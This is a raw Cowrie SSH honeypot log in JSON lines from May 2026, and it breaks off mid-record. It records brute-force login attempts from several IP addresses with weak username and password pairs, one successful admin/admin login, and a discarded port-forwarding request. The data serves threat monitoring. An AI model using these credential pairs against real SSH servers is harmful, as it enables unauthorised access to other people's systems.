{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:14:01.317245Z","src_ip":"8.218.166.49","session":"24a123fce5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:14:09.083860Z","src_ip":"8.218.166.49","session":"d64505211e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"102.6","message":"Connection lost after 102.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:14:20.186794Z","src_ip":"8.218.166.49","session":"24a123fce5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:14:31.717299Z","src_ip":"8.218.166.49","session":"1eb854dbb086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38762,"dst_ip":"10.17.0.5","dst_port":22,"session":"075f27c14e59","protocol":"ssh","message":"New connection: 8.218.166.49:38762 (10.17.0.5:22) [session: 075f27c14e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:03.947392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:06.746775Z","src_ip":"8.218.166.49","session":"075f27c14e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":13609,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1ed52ec804c","protocol":"ssh","message":"New connection: 213.209.159.56:13609 (10.17.0.5:22) [session: e1ed52ec804c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:12.106225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:12.111339Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:12.199576Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin","message":"login attempt [tristin/tristin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:12.599426Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin1","message":"login attempt [tristin/tristin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:13.684659Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin123","message":"login attempt [tristin/tristin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:14.772817Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:14.865422Z","src_ip":"8.218.166.49","session":"075f27c14e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin1234","message":"login attempt [tristin/tristin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:15.858281Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:16.797299Z","src_ip":"8.218.166.49","session":"075f27c14e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin12345","message":"login attempt [tristin/tristin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:16.943906Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:18.013823Z","src_ip":"8.218.166.49","session":"075f27c14e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:18.029306Z","src_ip":"213.209.159.56","session":"e1ed52ec804c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42328,"dst_ip":"10.17.0.5","dst_port":22,"session":"964d3834a032","protocol":"ssh","message":"New connection: 8.218.166.49:42328 (10.17.0.5:22) [session: 964d3834a032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:51.148846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:51.861173Z","src_ip":"8.218.166.49","session":"964d3834a032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:15:51.865087Z","src_ip":"8.218.166.49","session":"964d3834a032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60992,"dst_ip":"10.17.0.5","dst_port":22,"session":"79854f2a1537","protocol":"ssh","message":"New connection: 8.218.166.49:60992 (10.17.0.5:22) [session: 79854f2a1537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:01.358537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:01.363826Z","src_ip":"8.218.166.49","session":"79854f2a1537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36878,"dst_ip":"10.17.0.5","dst_port":22,"session":"79983d3496b5","protocol":"ssh","message":"New connection: 8.218.166.49:36878 (10.17.0.5:22) [session: 79983d3496b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:10.786058Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42762,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e3870ac39f","protocol":"ssh","message":"New connection: 8.218.166.49:42762 (10.17.0.5:22) [session: 60e3870ac39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:19.450810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:19.455432Z","src_ip":"8.218.166.49","session":"60e3870ac39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:20.587875Z","src_ip":"8.218.166.49","session":"60e3870ac39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:31.607809Z","src_ip":"8.218.166.49","session":"60e3870ac39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:36.308444Z","src_ip":"8.218.166.49","session":"60e3870ac39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55430,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ec96367e4a","protocol":"ssh","message":"New connection: 8.218.166.49:55430 (10.17.0.5:22) [session: 50ec96367e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:52.725790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:58.270704Z","src_ip":"8.218.166.49","session":"50ec96367e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:16:59.114705Z","src_ip":"8.218.166.49","session":"50ec96367e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23192,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c095f766ad","protocol":"ssh","message":"New connection: 87.251.64.176:23192 (10.17.0.5:22) [session: 90c095f766ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:15.769335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:15.774204Z","src_ip":"87.251.64.176","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:15.871369Z","src_ip":"87.251.64.176","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:16.161782Z","src_ip":"87.251.64.176","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:16.260623Z","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:16.358317Z","src_ip":"87.251.64.176","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:16.461000Z","src_ip":"87.251.64.176","session":"90c095f766ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:23.372763Z","src_ip":"8.218.166.49","session":"79854f2a1537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:28.064676Z","src_ip":"8.218.166.49","session":"50ec96367e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:33.502644Z","src_ip":"8.218.166.49","session":"964d3834a032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.1","message":"Connection lost after 42.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:34.872747Z","src_ip":"8.218.166.49","session":"50ec96367e4a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:35.657429Z","src_ip":"8.218.166.49","session":"79983d3496b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS"